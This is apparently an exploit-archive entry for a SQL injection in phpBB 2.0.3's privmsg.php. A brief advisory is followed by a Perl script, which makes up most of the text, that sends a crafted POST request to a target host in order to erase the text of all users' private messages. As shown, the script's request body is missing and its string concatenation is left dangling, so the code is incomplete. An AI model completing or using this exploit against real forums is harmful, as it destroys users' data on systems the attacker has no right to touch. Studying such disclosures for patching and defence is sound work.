phpBB 2.0.3 - 'privmsg.php' SQL Injection







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A SQL injection vulnerability has been reported for phpBB2 systems that may result in the deletion of all private messages.

phpBB2, in some cases, does not sufficiently sanitize user-supplied input which is used when constructing SQL queries to execute on the underlying database. As a result, it is possible to manipulate SQL queries. This may allow a remote attacker to modify query logic or potentially corrupt the database. 

A remote attacker can exploit this vulnerability by manipulating URI parameters to cause the text of all private messages to be deleted.

#!/usr/bin/perl --

# phpBB delete the text of all users' private messages exploit
# Ulf Harnhammar
# January 2003

use Socket;

if (@ARGV != 2) { die "usage: $0 host sid\n"; }

($host, $sid) = @ARGV;
$host =~ s|\s+||g;
$sid =~ s|\s+||g;

$crlf = "\015\012";
$http = "POST /privmsg.php?folder=inbox&sid=$sid HTTP/1.0$crlf".
        "Host: $host$crlf".
        "User-Agent: Mozzarella/1.37++$crlf".
        "Connection: close$crlf".
        "Content-Type: application/x-www-form-urlencoded$crlf".
        "Content-Length: 58$crlf$crlf".

$tcp = getprotobyname('tcp') or die "Couldn't getprotobyname!\n";
$hosti = inet_aton($host) or die "Couldn't look up host!\n";
$hosts = sockaddr_in(80, $hosti);

socket(SOK, PF_INET, SOCK_STREAM, $tcp) or die "Couldn't socket!\n";
connect(SOK, $hosts) or die "Couldn't connect to port!\n";

select SOK; $| = 1; select STDOUT;

print SOK $http;

$junk = '';
while (<SOK>) { $junk .= $_; }

close SOK or die "Couldn't close!\n";